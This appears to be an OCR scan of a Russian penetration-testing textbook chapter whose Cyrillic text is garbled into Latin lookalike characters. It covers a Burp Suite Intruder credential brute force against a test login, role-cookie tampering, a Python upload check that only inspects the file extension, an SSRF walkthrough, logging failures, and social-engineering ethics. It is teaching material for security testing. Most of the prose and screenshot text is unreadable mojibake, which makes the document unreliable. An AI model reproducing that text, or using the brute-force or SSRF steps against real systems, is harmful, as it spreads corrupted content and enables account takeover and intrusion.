Hawm neobxomumo coobinTb 06 arom Burp. [luist atoro BeizessieM 3Hadenue test login
B ToJie email u HasknmaeM KHOTIKY Add 8. Terreps mipoziesibiBaeM TO ke camoe ¢ password.

Burp Suite Community Coition v?023.1.2 - Tempaeary Project 0 w
Burp Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger @ Settings
Extensions  Leam T

2x 4 2l
mm Payloads Hesource pool Selings
(%) Choose an attack type | siaratiack |
Attack type: | Cluster bomb -

() Payload positions
Configure the pasitions where payloads will be inserted, they can be added into the target A3 well A= the base request

Add
Target: |mrp-mm|i-4mo | Ed Update Hast headar to match targot g
[ Clears
1 POST /rest/user/login HITF/1.1 |T’§
2 Hast: kali:a2ea8
3 User-Agent: Mozilla/5.® [X11; Linux x86 64; rv:102.8) Gecko/20100191 Firefox/1ez.e |m
4 Accept: applicationsjson, textfplain, *4% ——
5 Accept-Language: en-US,en;gq=g.5
6 Accopt-Encoding: geip, deflate
7 Content-Type: applicatien/json
& Content-Length: 45
9 Origin: http://kali:azess
18 Connection: close
11 Referer: http://kali:azeee/s
12 Cookie: language=cn; welcomebanner_status=dismiss; continueCode=
qomrF Z0eWEBYpM] Txi8oHNWALINTRSySavex21bLODkwIN: cookleconsent_status=
dismiss
13
14 {"email®:"Stest logink", “password™:"Stest passi™}
@@} |(_-||i |59m... | 0 matches [ Clear
2 paylond positions Length 676

Puc. 7.16. BbiaeneHHble nossi, npeaHasHayeHHble AN AanbHenwen ataku

[Ipesk/ie ueM MBI MOI/IEM JaJIbIe, CTOUT YIOMSIHYTh eliie 00 OJIHOM TI0JIe, 3 UMEHHO
o ture ataku. B Mozyse Intruder npesycMOTpeHbI YeThIpe PasJnyHbIX THUIIA ATaK,
KOTOPBIE TIO3BOJISTIOT IPOBOANTD PA3HOOOPA3HbIE TECTHI HA TPOHUKHOBEHNE:

e Sniper. Ucnonbayercst, Korjia TpedyeTcst BCTaBUTh Pa3JIMYHBIE 3HAUYEHUSI B OJIHY
U Ty e TOYKY BCTaBKuU (IlapaMeTp WJIM 3aroJIOBOK). Sniper nepebupaer Bce
MIPEeIOCTAaBIEHHbIE 3HAUEHST (13 CJIOBAPSI MU CIIMCKA ) U BCTABJISIET UX TI0 OZHOMY
B YKa3aHHY0 TOYKY BCTABKH. DTO MOKET OBbITh TIOJIE3HO JJIst Tiepebopa mapoJiei,
MOMCKa YSI3BUMOCTEH B ITapaMeTpax UJIH 3ar0JI0BKax ¥ T. /1.

e Battering Ram. B otsinuue ot Sniper, Battering Ram onnoBpemMenHo BcTaBisier
OJIHO ¥ TO JKe 3HaYeHVe BO BCE YKA3AHHbIE TOYKU BCTABKU. ITO MOKET OBITH
MOJIE3HO B CUTYAIIUSIX, €CJIN BBl XOTUTE MTPOBEPUTH B3aNMOJIECTBUE MEXIY
Pa3IMYHBIMU TTApaMeTPaMy MJIN TIOMBITAThCST BCTABUTH OIHO U TO JKe 3HaUYeHe
B HECKOJILKO MECT 3aIpoca.
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e Pitchfork. Micriosibayer aBa pasjnuHbIX CIIUCKA 3HAUCHUH, ONH JIJIsT KKI0H U3
JBYX TOUEK BCTABKU. 3HAYE€HU U3 000X CIIMCKOB BCTABJISAIOTCS IapaJljIesIbHO,
OJIHO 32 IPYTUM. ITO MOKET OBITh II0JI€3HO, ECJIM Bbl XOTHUTE IIPOBEPUTH KOMOM-
HaIlUW 3HAYEHUH JIBYX MapaMeTPOB, HA[PUMeD UMEHHU T0JIb30BaTe ST U TTApOJisd
npu 1epedope y4eTHbIX JaHHbIX.

e Cluster Bomb. Cosmaer u nposepser Bce BO3MOKHbIE KOMOUHAIIUN 3HAYECHUI
JUISI HECKOJIBKKMX TOUeK BeTaBki. OH reHepUpyeT 3arpochl, KOMOUHUPYS KaxkK10e
3HAYEHWe U3 CIUCKA JIJIS IEPBOIM TOUKU BCTABKH C KAJK/[bIM 3HAUYEHUEM CITHCKA
JUISI BTOPOW TOYKH BCTaBKH U T. [I.

B Hamem cirydae He0OXOAUMO MTPOBEPUTH BCE BO3MOKHBIE KOMOMHAIIUU JIOTHHOB
1 TapoJieil U3 JIByX Pas3JIMuHbBIX CIIMCKOB, T0aTOMY B 1tosie Tut ataku (Attack type)
HeoOXo11MOo BbIOpaTh 3Hadenue Cluster bomb.

A T/1e ’Ke CTIUCKHU, CIPOCUTE BbI, MBI UX cO3/1aBasiu 3ps? Het, oHM HaMm ompeiesieHHO
noHano0stest. Tepeiizem Ha Bkiaaky Payloads (puc. 7.17). TTo ymMoJuaHuio y Hac BbI-
Gpat Payload set: 1. 3arpys3uM B HETr0 CIIUCOK ¢ UMEHAMM T10JIb30BaTEIEH, /IS 9TOTO
Ha’KMeM KHOTIKY Load n ykaskeM panee co3ianublii (haiin users.txt.

Burp Sut Gommungy Editen v2023.12 - Temporary Project - o =
Bup  Pemject Intrudor  fapastar  Window  Hala

Dashboard  Tagel  FProxy  Inbuder  Repealer  Sequemcer  Decoder  Comparer  Logger  Exlensions  Leamn &) Sellings
2t + Qi
Positions  Payiads  Resource pool  Settings

(3) Payload sets

You can defre ane or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Viarous payload types are availstie Yr each paylead set, and sach payload type
can bo qustomized in dorent ways.

Payload set. [ 1 ~]  Payload count: 7

Paylaad type: | Simpie st ~|  Reguest count: 35

(7) Payload settings [Simple list]
Thits payboal type lets you conbgure a simgie kst ol siings that ans used as payioads.

Paste | hol@ss.com

|
—— lanis@og lr
[_tosd..  |licaigtast.oom
| Remove | [Aik@inike.com
|= tnstEHtASE Com *

| Add || Erstir & new itom

Add treen list .., [Pro veesion only|

(3 Payload processing

You can deboe rubs b o taska on btore it i3 uded.
[ Add || Enabiea ™
[ Ede ||
| remom ||
»

__w ||
| |

|

Puc. 7.17. 3arpy><eHHble CrUCKn

Terreps momensiem 3Hauenne Payload set Ha 2. 11 mpozesaem Bce TO ke camoe /it
CIIMCKA C IIapOJISIMU.

Haunewm araxy. /I71s1 91010 pazpabGoTduKu CIEIUaIbHO MPELYCMOTPETN OOTIBIITYIO
OPaHIKEBYIO KHOIIKY C HaIIHMChIO Start attack. B nosiBuBIIeMcst okHe Mbl YBUIUM, Kak
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Burp nezanTiaHo repebupaeT Bce BO3MOKHbIE KOMOMHAIMH JIOTHHOB 1 apoJiei u3
JIBYX CIIUCKOB.

ITocsie okonvanus nepebopa MpoaHAIU3UPYEM Pe3yIbraThl. Y OOJbIIMHCTBA 110-
MBITOK B ToJie Status crout 401. D10 cTanAapTHBIN KO/, Mcoab3yembrii B HTTP-
IPOTOKOJIE It 0003HaYeHHS HeyaauHoi ayTrenTrdukamm. OMHAKO eCcTh OHA
notbiTKa co crarycom 200 (puc. 7.18). 1o 03HauUaeT, YTO JTaHHAS MTapa UMEHU TI0JIb-
30BaTeJIsI U MapoJist 0Ka3aIach MPABIJIbHOM.

8. Inbruder altack of bl alid 2000 - Temporary atlack - Nol saved W project ile = [m] "
AMtack  Save  Columns
Results Positions Payloads Resource pool Settings

| Filtar: Showing all items |®
Request -~ Fayload 1 Fayload 2 Status Emor  Timeout  Length Comment
25 nike@rnike.com lesl1234 401 O ] 385

7B teatigtest com test1234 4m O O aHs

2 testi@test.com testl234 401 O O 385

28 testl@test.com test1234 200 ] ] 1185

29 lol@ss com gfgedis 4M L L] a6s

30 Janisi@org. v gdigdts 401 O O 3

31 test@test.com qdigdis 401 M M 385

32 nike@rnike.com gdlgdfs 401 O ] 385

Ex] teati@test com qrifeta am O O s

Request Response

Prelly Raw Hex Render s n =

1 HTTP/1.1 280 0K

7 Access-Contral-Allow-Origin: *

3 X-Lontent-lype-Uptions: nesniff

4 |X-Frame-Options: SAMEORIGIN

5 Fealure-Poulicy: paymenl “sell”

& X-Recruiting: /#/jobs

{ Content lype: application/jsen: charset-utf 8
& Conlenl-Lenglh: 827

9 FTag: W/"33h-vFVAMW=11 BFv6SATv? 15x7OGRSY"
19 ¥ary: Accept-Lncoding

11 |Date: Sat, 13 May 2823 12:19:52 GMT

12 Conneclion: close

14 {
“aulhenlicalion”:{
"token”:

3 EJ E| | Search 0 matches

Finished

Puc. 7.18. Pe3ynbtathl ataku

B nanHOM mipuMepe MBI IPOCMATPUBAJIN PE3YJIBTAThI TOMCKA BPYYHYIO, OJTHAKO TTOM-
HITE, YTO B Burp ects yHKIINYM (GUIBTPAIIMT U COPTUPOBKH, He IpeHeOperaiTe NMu.

Owmnbkn nposepkun LenoctHocTn MO n AaHHbIX

B cospemenrOM Mupe pazpaboTku 11O TPUHITO TPUAEPKUBATHCS OTIPeIeTeHHBIX
crangaptoB. HekoTopble 13 HUX pa3pabOTaHBbI € MeTbIo 0OJETINTh U YCKOPHUTH TPO-
necc cospanus I1O. ITpu gaHHOM 1oIX0/1€, KaK, HaprMep, B Agile, ocoboe BHUMaHNe
VIEJSIeTCst TIPOBEPKE CO3/IaHHOTO KOJIa, apXUTEKTYPhI 1 JIOTUKe paboThl. OHAKO He
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BCET/Ia 9Ta MPOBEPKA BBITOTHSIETCST IOTKHBIM 00Pa3oM, UTO W TIPUBOJINAT K MOSBIIE-
HUIO psAZla YA3BUMOCTEN.

ITesocTHOCTD JAHHBIX KpaliHe BaskHa Jist 00ectiedeHust Ge30MacHOCTH M HaJIeKHOCTH
BEO-TTPUIIOJKEHNUT, TOCKOJIbKY €€ HapyIleHne MOXKET TIPUBECTU K HETIPEICKAZYEMOMY
MOBE/ICHUIO CUCTEMBI, yTeuke KOH(MUICHITNAIbHON MH(GOPMAITUU NI BO3MOKHOCTH
MaHUTTYJISIITAN TAaHHBIMU.

[TpobieMbl ¢ IENTOCTHOCTBIO TIPOrPAMMHOTO 0GECTICYEHNS U IAHHBIX MOTYT BOSHUKATh
13-32 PA3JINYHBIX (DAKTOPOB.

HenpaBnJleaﬂ BaJauganusg BXOAHbIX JaHHbIX. Ecan Be6-HpI/IJIO>KeHI/I€ He IIpoBe-
PSAET BXOJIHBIE JaHHBIE Ha KOPPEKTHOCTD, 3JIOYMBITIJIEHHUK TTOJTyYa€T BO3SMOKXHOCTD
BHE/IPHUTH HEIIpaBUJIbHbIE NJIN BPEIOHOCHBIC /TaHHbIEC, KOTOPbIE MOT'YT ITOBJIMATH Ha
IIEJIOCTHOCTD CHCTEMBI.

Hanpumep, paspaboTunKi MOTYT HEJMKOM TI0JIaraThesl Ha MH(OpManuio us daiiia
cookie, a MbI TOMHUM, YTO OH XPaHUTCS JIOKAJbHO Ha KOMITbIOTEPE MOJb30BATEIsI
U JIOCTYIIEH Ui pefakTupoBanus. [Ipeanonoxum, Beb-IPUIoKeHue UCI0Ab3Y -
eT CJAeAYIONIYI0 CTPYKTYPY cookie mjist xpaHeHust HHOOPMAIUU O [10JIb30BaTee:
user_id=1234; role=user; session_id=abcd1234. 3yiechb user_id — upeHTu(GUKATOP
0JIb30BATeJIs, role — ero poJib B cucreMe (OObIYHbBIN 110JIb30BaTENb WK aJMUHUI-
cTpaTop), a session_id — njeHTU(UKATOP CECCUN.

3JI0YMBITIJIEHHUK, UMEST JIOCTYT K aKKAYHTY OOBIYHOTO MOJIb30BATE ST, MOKET T10-
[BITAThCS U3MEHHUTH 3HAUEHIE role ¢ user Ha admin, 4TOOBI OMTYYNUTH JOCTYII K a/[MHU-
HUCTPATUBHBIM (DYHKIUAM BeG-nipuioskenvist. Eciu Be6-npuiiokenne He mpoBepsieT
U He TOATBEPKAAeT 3HAUeHNEe POJIN HA cepBepe, 3JI0YMBIIIIEHHIK MOXXET YCIIEIIHO
MOBBICUTDH CBOW MPUBUJIETUN U TTOJYIUTD JIOCTYIT K UyBCTBUTEIBHBIM JIAHHBIM WJIN
bynkimsaM, npeiHasHaYeHHBIM TOJBKO 711 IMUHUCTPATOPOB.

OumoKu ipu 00padoTke AaHHbIx. HekoppexTHas 06paboTKa TaHHBIX — HEIPaBIIb-
HOe peobpa3oBaHKe TUIIOB WK HENPaBU/IbHOE UCIO0Ib30BaHUE a/ITOPUTMOB — MO-
JKET IIPUBECTU K HAPYIIEHWIO EJIOCTHOCTU JIaHHBIX.

[TpuBemeM mpuUMep aTaku € UCTONB30BAHUEM HEMPABUIBHOTO MPeobpa3zoBaHust
TUIIOB B (DYyHKIMU 3arpy3ku (aitnos. [IpemonoxkM, y HaC eCTb BeO-NPUIIOKEHHE,
KOTOPOE MO3BOJISIET MOJIb30BATEISIM 3arPy-KaTh U300paskeHust. BeO-npuioxeHie
MPEJIOJIAraeT, 4To Bee 3arpyskaeMbie (hailsibl SBITIOTC n3obpaskenusiMu. OHO mpo-
BepsieT pacipenue daiiia (Harpumep, .jpg uiu .png), HO He MIPOBEPSIET COIEPKUMOE
(aiira. Bor npumep koja Ha siabike Python:

def upload_image(file):
file_extension = os.path.splitext(file.filename)[1]
if file_extension not in [".jpg", ".jpeg", ".png"]:
return "Invalid file type"
save_image(file)

3JIOYMBIIIVIEHHNK MOSKET BOCTIOJIb30BATHCS 9TUM HEZIOCTATKOM, MOJIMEHSIST COZEPIKHU-
Moe daitma. Harmpumep, arakytommii co3gacT BpeloHOCHBIN (hailsl ¢ paciimpeHnemM
Jpg, colepsKalinii NCIIOMHsIeMbI KO/ (CKPUIIT Ui OUHAPHBII (haiis), KOTOpbIi Oyaer



OWwmnbKN MOHUTOPUHIA U BEAEHMS XXYpHanoB 6e3onacHoCTH 239

BBINOJIHEH Ha cepPBePe NJIM Ha KOMIIbIOTEPE JAPYTroro MmoJibsoBaTe . Eciu cepsep uimn
MOJIb30BATENBCKOE MTPUIOKEHNE HETPABUIBHO MpeobpasyioT Tuil daiina (To ecTh
06pabaThIBAIOT €r0 KaK N300paKeHue, a He UCIOIHAEMBIN KOJT), 9TO MPUBEIET K BbI-
MOJIHEHUIO BPEZIOHOCHOTO KO/Ia U KOMITPOMETAIINN CUCTEMBI.

HCZ[OCTaTKI/I B KpnnTorpaquecmnx CucremMax. HeKOppeKTHOG HCIIOJIb30OBaHHE
KpI/IHTOI‘pa(bI/I‘-IeCKI/IX AJITOPUTMOB M IIPOTOKOJIOB TaKyKe€ ITPUBOJAUT K HAPYIIECHWIO
KOH(bI/IlIeHHI/IaJIbHOCTI/I 1 IIEJIOCTHOCTH JTaHHBIX.

YsA3BUMOCTH B CTOPOHHUX KOMIIOHEHTaX. B coBpeMeHHOM MUpe, I/ie BAsKHA CKOPOCTh
paspaborku T10, 1yist yuporieHus paGoThl paspabOTUNKU UCTIOIB3YIOT MHOKECTBO
Pa3IMYHBIX OUGIMOTEK U MOAKIIOYaeMbIX MOAYJIeii. VIcIoib3oBaHue yCTapeBIImx
WJIN ySI3BUMBIX CTOPOHHUX KOMIIOHEHTOB MOXKET IIPUBECTH K HApYIIEHUIO 11eJI0CT-
HOCTH CUCTEMBI M JIaHHBbIX. K TOMY ke He Bcerza yjesseTcs J10KHOe BHUMaHNE
MTPOBEPKE B3aUMOJICHCTBUSA TAKUX KOMIIOHEHTOB JIPYT C IPYTOM.

OLWnBKM MOHUTOPUHIA N BEAEHUS
XXypHasnos 6e30nacHoCTun

OumnbKN MOHUTOPUHTA U BeIeHUsT :KypHaIoB Oesomacuoctu (Security Logging and
Monitoring Failures) oTHocsTCs K THITY YS3BIMOCTEN, KOTOPBIE CBSI3AHBI C HEMO-
CTaTO‘-IHOfI, HEHpaBHHbHOﬁ 3allCbIO I/IH(l)OpMa]_[I/H/I (6] CO6BITI/I$IX NJI OTCYTCTBUEM €€
(buKcarmy B J10rax ¥ HEIPABUIBHBIM MOHUTOPUHTOM GE30ITACHOCTH BEO-TTPHIIOKEHHST
i uH@pacTpyKTyphl. B pesysbraTe aTaku ¥ HapylleHMsI MOTYT OCTaBaThCsl Hesa-
MEUYEHHbIMU WNJIN K€ pacCaeJOBaHNA TaKUX MHIIUAEHTOB CTAaHOBUTCA ITPAKTUYECKHN
HEBO3MOKHDBIM. STO, B CBOIO O4Y€epe/ib, MPUBOJAUT K TOMY, UTO KOMITAaHUHW HE MOTYT TIpe/i-
IIPUHATD aJleKBaTHble 1Iary UL UCIIPaBJeHUs] CYLeCTBYIOIIUX HEIOCTaTKOB B CUCTEME.

Ya3BuMOCTH TaKOTO PO/ia BO3BHUKAIOT M3-3a CJEAYIONNX HpO6]IeMZ

e OrcyrcrBue nHGOpPMAIMY O TPOU3OLIEAIINX HHIMAeHTaX. Ecim sioru He cofep-
JKAT JI0CTATOYHO MHMOPMAIIUK O IEHCTBUSAX M0JIb30BaTeNeH U CUCTEMBI, CJIO3KHO
ONPE/IETUTh TIPUYUHY U XapaKTep HapylIeHUst 6e30TacHOCTH.

e HeompemeeHHOCTD HCTOUHWKA ataku. Eciim jioru He cofepskat nHbopMaIuu 06
[P-aspece wim npyrux ujeHTH(MUKATOPAX aTAKYIOIIEro, 9TO 3aTPYIHSET OIpe-
JieIeHre UCTOYHUKA aTaKU U IPUHSITHE Mep TSI TIPEJ0TBPAIEHUS JabHEHTITNX
aTax.

e 3ajiepKKa B OOHAPYKEHUU UHIMIEHTOB. HeBepHO HACTPOEHHBI MOHUTOPUHT
MO’KeT ITPUBECTU K TOMY, YTO aTaK! OCTAIOTCS He3aMeUYeHHBIMI Ha TTPOTSKeHN
JJINTEJIbHOTO BDEMEHU, YTO YBEJININBACT BO3MOJKHBII yluep6

e Ortcyrcrsue jioros. Ecim joru He XpaHATCS JOCTATOYHO JOJIT0, ayAuT Ge3o1ac-
HOCTHU CTAHOBUTCSI HEBO3MOKHBIM, YTO YMEHbIIAET OOl YPOBEHD 3alUThI
cucreMbl. K aTOMY jKe TIyHKTY OTHOCUTCSI HEJIOCTaTOUHAs 3aiuTa Joros. Eciau
ATAKYIONUI MOKET ITOJTYIUTh K HIM TIOJIHBIH I0CTYTI, OH CMOXKET UBMEHUTD WJIN
VAAJIUTD 3ATTUCH.
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e U36BITOYHOCTH JTOTOB. Jlaske ecJin ¢ JJOTaMHU BCE B MOPSIIKE, CAYIAETCS, 9TO
cucteMbl (0CO6EHHO B GOJBIINX OPTAHUBAIIX ) CO3/AIOT UX CJAUIIKOM MHOTO.
B otcyrcTBrE HOPMATBLHON cHUCTEMBbI 00PabOTKH 1 IIEHTPATU30BAHHOTO XPAHEHMUST
JIOTOB paboTa ¢ HMHU B PYYHOM PEKUME MTPAKTUYECKH HEBO3MOJKHA.

Moaaenka 3anpocoB Ha CTOPOHE cepBepa

IMoxnenka sanpocos Ha cropore cepsepa (Server-Side Request Forgery, SSRF)
SIBJISIETCST YSI3BUMOCTBIO BEO-TIPUIIOKEHHIIA, TIO3BOJISIIOIIEH aTaKyIOIIEeMY BbIITOJIHSTh
3aIpochl OT UMEHH cepBepa, Ha KOTOPOM OHK PaboTaioT. DTO JAeT 3JI0YMbIIUICHHUKY
BO3MOKHOCTH MTOJIYYUTD JOCTYI K UYBCTBUTENbHBIM JaHHBIM, HEOCTYITHBIM C KJTH-
€HTCKOIl CTOPOHBI, WU B3aUMOJIEHCTBOBATD C IPYIMMK CHCTEMaMU U CJIyKOaMM
BHYTPHU CETH cepBepa.

SSRF wacrto BoszHuKaet, korga BebG-mpuioxkenne o6pabaTbiBaeT Takue BHEIIHUE
pecypebl, Kak u300pakeHust i (hailsibl, U MO3BOJISIET TOJIb30BATENI0 YKa3bIBATh
URL-agpec nmu aapec pecypca. Ecan mpoBepka BXOAHBIX JaHHBIX HEOCTaTOUHA
WJIA OTCYTCTBYET, 3JI0YMbIILIEHHUK MOsKeT mogaMeruth URL-anpec Tak, 4ToObI OH
YKa3bIBAJ Ha BHYTPEHHNI Pecypc cepBepa Wi JIPYTYIO CUCTEMY B CETH.

Paccmorpum nipumep ataku SSRE

[TpeamonoxuM, y HAC €CTh BeG-TIPUIOKEHNE, KOTOPOE MO3BOJISET MOJb30BATE-
JIIM YCTaHABIWBAThH aBaTaPhl, 3arpyskast M300paskeH s ¢ BHEITHUX caiiToB. Beb-
npunoxenve npuanmaer URL-azpec B kKauecTBe N300PaKEHMSI 1 3arPYsKaeT ero Ha
cepsep. g aTaku Ha JJaHHOE TPUJIOKEHKE MOKHO MCIIOIb30BaTh SSRE.

[MTar 1. VccnenoBanue puiokenns.. BHayane Mbl UCCIeAyeM BeO-TIPUIOKEHIE
1 HAaXO[UM (DYHKIIMIO, KOTOPAs TIO3BOJISIET 3aTPy»KaTh aBaTapbl ¢ BHEITHUX CAlTOB.
Brrsicusiem, uTo B KauecTBe mapaMerpa Mbl MoskeM 3anaTh URL-azapec.

[Iar 2. [ToaroroBka URL-azpeca. Terreps Mbi cozaem URL-azipec, yrka3biBaiommit
Ha BHYTPEeHHUI pecypc cepBepa. Harpumep, Mbl MOKEM TIOJIYUUTh JaHHbIe KOH(pU-
rypanuu BeG-TpuiosKennst, cosas cienytomuii URL: http://example.com/config.

[Tar 3. 3anpoc SSRF-ataku. Bmecto cchuikn Ha KapTuHKy BeTasisgem Harr URL-
azgpec B hopMy sarpysku aBaTapa. Eciu Be6-npunoskenne He nmposepser URL-azpec
U TIPOCTO 3aTrPy:KaeT YKa3aHHBIN PeCypc, CepBep BLIIOIHUT 3aIIPOC K BHYTPEHHEMY

pecypcey.
[ITar 4. ITony4yenne pe3yasraToB ataku. Eciy Hallla ataka ycrenHa, To cepBep BEpHET

CO/IEPKUMOE BHYTPEHHETO pecypca config. DTo MOKeT aTh HAM JIOCTYTI K 4yBCTBU-
TeJbHOU MH(pOpMaIUK, BKJIIOYAS yUYeTHbIE JaHHble WIN KOH(MUTYPAITUIO cepBepa.

Yro6sl ipegoTepaTuTh SSRF-ataku, BeO-IPUIIOKEHUsI JOJKHBI BBIIOJHSITH CTPO-
I'YIO IIPOBEPKY BXOAHBIX JaHHBIX, OTPAHUYNBATD BO3MOKHOCTDL OTIIPABKU 3aIIPOCOB
K OIlpe/ieJIeHHbBIM JIOBEPEHHBIM JIOMEHaM MJIU a/[pecaM U UCII0Ib30BaTh CIIMCKU pa3-
PEIIeHUI ¥ CITMCKY 3aIIPENeHUH /1711 KOHTPOJIS IOCTYIIA K OIPeIeJICHHBIM pecypcam
WJIH CIIysKOaM.
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Ml yiKe JOCTaTOYHO MHOTO TOBOPHWJIN O ITPUEMaX, 3aCTaBJIAIOMINX I/IHCI)OpMaL[I/IOHHyIO
cucteMy BecTH cesi HMEHHO TaK, Kak HaM Hajlo, a B CJIE/YIOIKX IJIaBaX Bbl y3HAETE
06 aToM erte Gosbine. [IpUIIIO BpeMs TTOCMOTPETh Ha TPOGJIEMY He O CTOPOHBI
MAlIlMHbI, @ CO CTOPOHBI YesioBeka. Kak Obl TOHKO CUCTEMHBIH aJIMUHUCTPATOP O/
YYTKUM PYKOBOJACTBOM CIIEIMANUCTA 0 MH(POPMAIMOHHON 6€301acHOCTH HY Ha-
CTpamBaJl CBOM CHCTEMBI, IPUOOPETEHHbIE ¥ CAaMbIX MMEHUTHIX IPOU3BOAUTEIEH,
B €T0 CeTH BCera OyieT IPUCYTCTBOBATD C1ab0€e 3BEHO — UYeJIOBEK.

ComnmanbHast MHKEHEPUS — 3TO METOJbI TICUXOJOTTYECKON MaHUTTYJISIINN YeJI0-
BEKOM, HallpaBJIeHHbIE Ha TO, YTOOBI 3aCTABUTh KEPTBY BBIIIOJHUTH OIIPeleIeHHbIe
JIeICTBUS B TI0JIb3Y aTaKyIOIIero.

Ha camom jiesie niosib3oBaTe b — OJMH U3 Ba)KHEUIITNX KOMIIOHEHTOB CUCTeMBI. Be/b
BCe, YTO CO3/IA€TC, CO3AETCS UMEHHO JIJIsT HeTO. Y HEro ecThb JIOCTYII B CHUCTEMY,
onpeeJeHHble ITPUBUJIETUN, U OH MOKET OCYHIECTBJIATDH Pa3JIUyYHbIe OllePaliu.
ATakyromeMy HeBaKHO, KAKUM CIIOCOOOM OH IIPOHUKHET B CETh IPEANPUTHU, BaKHA
JIALIb 11eJ1b. [T0JIb30BaTe b IPEACTABIAET COOOM MEPBYIO IMHUIO 3ALIUTHL, U €CJI OHA
HaJeT, TO BCS CHCTEMA PYXHET JJOBOJIbHO OBICTPO.

B nanHoii riiaBe MbI PACCMOTPUM HEKOTOPbIE TEXHUYECKKE [IPUEeMbl, KOTOPbIE yCIIelI-
HO TIPUMEHSIOT [T BO3/IEHCTBUS Ha TT0JIb30BaTe e, a TakkKe TPUBE/IEM Pa3IMyHble
[IPUMEpBI aTaK.

DTUYECKne acrnekThbl coumaanoﬁ NHXXEHEPUU

[Ipu mpoBesieHny aTak Mo TUILY COIUAIBHON NHIKEHEPHUH BbI JIOJIKHBI ITPE/ICTABJISATD
MOCJIE/ICTBUST, KOTOPbIE MOTYT HACTYTIUTS JIst Batiiell iesin. B pesyJsibrare paGoThl Bam
HY’KHO PACKPBITH KaK MOJKHO OOJIbITE YSI3BUMOCTEN B 3AIIUTE 3aKa39MKa, A B CIIyUae
C COLMAJILHOM nHKeHepuell 1okasarb, YTO y COTPY/IHUKOB HeT HaJyjlesKallleil 110/1ro-
TOBKH WJIN WHCTPYKIIUH, KOTOPBIM OHU JIOJKHBI CJIe/10BaTh. [Ipr aTOM 110 BO3MOK-
HOCTH BbI I0JKHBI 3aIIAIIATD [10JIb30BaTe .
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OpiH 13 crtoco6oB 3alUTUT JIFOIEH — CIeJaTh X OTHOCUTEIbHO aHOHUMHBIMU JIJIST
Barero kiuenTa. Hampumep, BMecTo coobienust o Tom, uto Jmurpuii BacuibeBuya
13 OT/IeJIa TPO/IaK Hepelies1 Mo CChlIKe B (DUITMHTOBOM IMCbME, YKasKUTE, YTO CO-
TPYAHUKY OT/EIa MPOJAK OKa3aauch 6oJiee ToABEPKEHbI (PUITUHTOBBIM aTaKaM.
[Ipu aTOM BBI I0KHBI YYUTHIBATH Pa3Mep OPraHU3aIuy 1 BO3MOKHOCTD YCTAHOBUTD
JIMYHOCTD KEPTBBI IO MPEIOCTABJICHHBIM BaMU JJAHHBIM.

[Tocne nmpoBeneHus ayauTa Bbl Beerga Oyaere cocTaBIaTh (hMHAIBHbI oTueT. BHI-
MaTeJIbHO CJeUTe 3a TeM, YTOObI Ty/Ia He Molajiajia Ju4Has nHOOPMAIA COTPY/I-
HUKOB. Tak, He cTOUT yKa3biBaTh, 4To OJibra [[MUTpUEBHA UCIIOIH30BAJIA B KAUECTBE
MApOJIst CBOIO IEBUUBI0 (hamMuinio «3acenbiieBar. JloctaTouHOo OYIeT YKasaTh TO, 4TO
B KOMIIAHUU HET JOJIKHOTO KOHTPOJIS 32 COOJIOAEHUEM TIOJTUTUKNA B OTHOLIEHIH
MapoJieil ¥ MO3TOMY HEKOTOPBIM COTPY/HUKAM CHCTeMa TT03BOJINJIA UCITOJIb30BaTh
Hebe30I1acHble TTapOJIu.

Iepen poBeieHUEM TECTOB CJIEAYET OOrOBOPUTH BOIIPOC PA3IJIAIIEHUs UMEH CO-
TPYAHUKOB, CTaBIIINX )KepTBOﬁ clrenquaJjincTa 1o CO].[PIaJIbHOﬁ MHXEHEPUN. Bror Jaxke
MOZKeTe BHECTH B 9TOT JIOTOBOP MTYHKT O TOM, YTO B CJIy4ae Pa3rIallieHIst ePCOHab-
HBIX JAHHBIX COTPYAHUKA, OJ1arogapsa KOTOPOMY YIaJ0Ch IPOHUKHYTh B CETh IIPe/-
NPUATHUS, JaHHAs IIePCOHA UJIM IIEPCOHBL He OYAyT yBoJIeHbl. Takke 00s3aTeIbHO
YKaKUTE TeX, KTO eiCTBOBAJ CTPOTO MO UHCTPYKIIUU U YCIENTHO TPOTUBOCTOSLI
BCeM TIOMIbITKaM BTop;keHust. CTpana JI0J/KHA 3HATh CBOUX repoeB)

O6s13aTe/IBHO YKaKKTE B OTYETE, YTO KOMIIAHUS JOJIKHA TIPOUH(GOPMHUPOBATh CO-
TPYAHUKOB, OKa3aBIINXCSI HEBOJIBHO BOBJIEYEHHBIMU B 9TOT ayAUT, O TOM, KAKIUM 00~
Pa3oM aTaKyIolye MOJYyYNIN UX JaHHble, O COTJIACUN OPraHU3aIMK HA ITPOBeJ/leH1e
ay/IuTa U 0 COXPAaHHOCTH JIMYHBIX JJAHHBIX COTPY/AHUKOB. Kpome ToTo, opranusaius
JIOJDKHA MCIIOJIB30BATh MPEIOCTABJIEHHBIN BaMU OTYET BMECTE C PEKOMEH/IAI[USIMU
U TIpUMePaMi CIleHapueB ISt 00yYeHMs COTPYAHUKOB C IIEJIbI0 IPEI0TBPAIIeHHUST
0JOOHBIX MHI[UECHTOB.

U ere HeCKOJIBKO ¢JI0B 00 aTuKe. IIpu IIPOBEIEHNN TECTOB HE TIEPECTyIIaliTe paMKU
M03BOJIEHHOTO. ECM 4emoBeK X0UeT MPpeKpaTHTh ¢ BaMU OOIIeHNe, MyCTh TaXke He
BBICKA3BIBAET 9TO B OUEBUIHOM (DOPMeE, BBI JIOJIKHBI TIPEKPATUTb.

He wucrniosib3yiite npuBatHble KaHaubl st o0mienust. [la, Bo Bpemst dhasbl cbopa n-
hopmarinm BeI MOKeTE HAWTH JINYHBIN HOMEP TeJiechOHA M AKKAYHT B COIMATTBHBIX
CETSIX, KOTOPBIH He OTHOCHUTCS K padoTe. OMHAKO ¢ TOUKH 3PEHHS STUKU UCTIOIH30-
BaHHe 9TUX KaHAJOB CBS3MU JJISI TIPOBEIEHUS aTaKN HeomycTnMo. To ke KacaeTcs
TIPOBE/IEH ST BAIIUX TECTOB B Hepabodee BPeMst KOHKPETHOTO YeTTOBEKA.

Beerna ybexaaiitech B TOM, 4TO BBITOJHSIEMbIE BAMU JE€HCTBUS 3aKOHHBL. B HEKOTO-
PBIX CTpaHaX, HAIPUMeP, 3aMNCh Teae(OHHOTO PA3TOBOPA MOKET OCYIIECTBIATHCA
TOJIBKO C COTJIACHS IBYX CTOPOH.

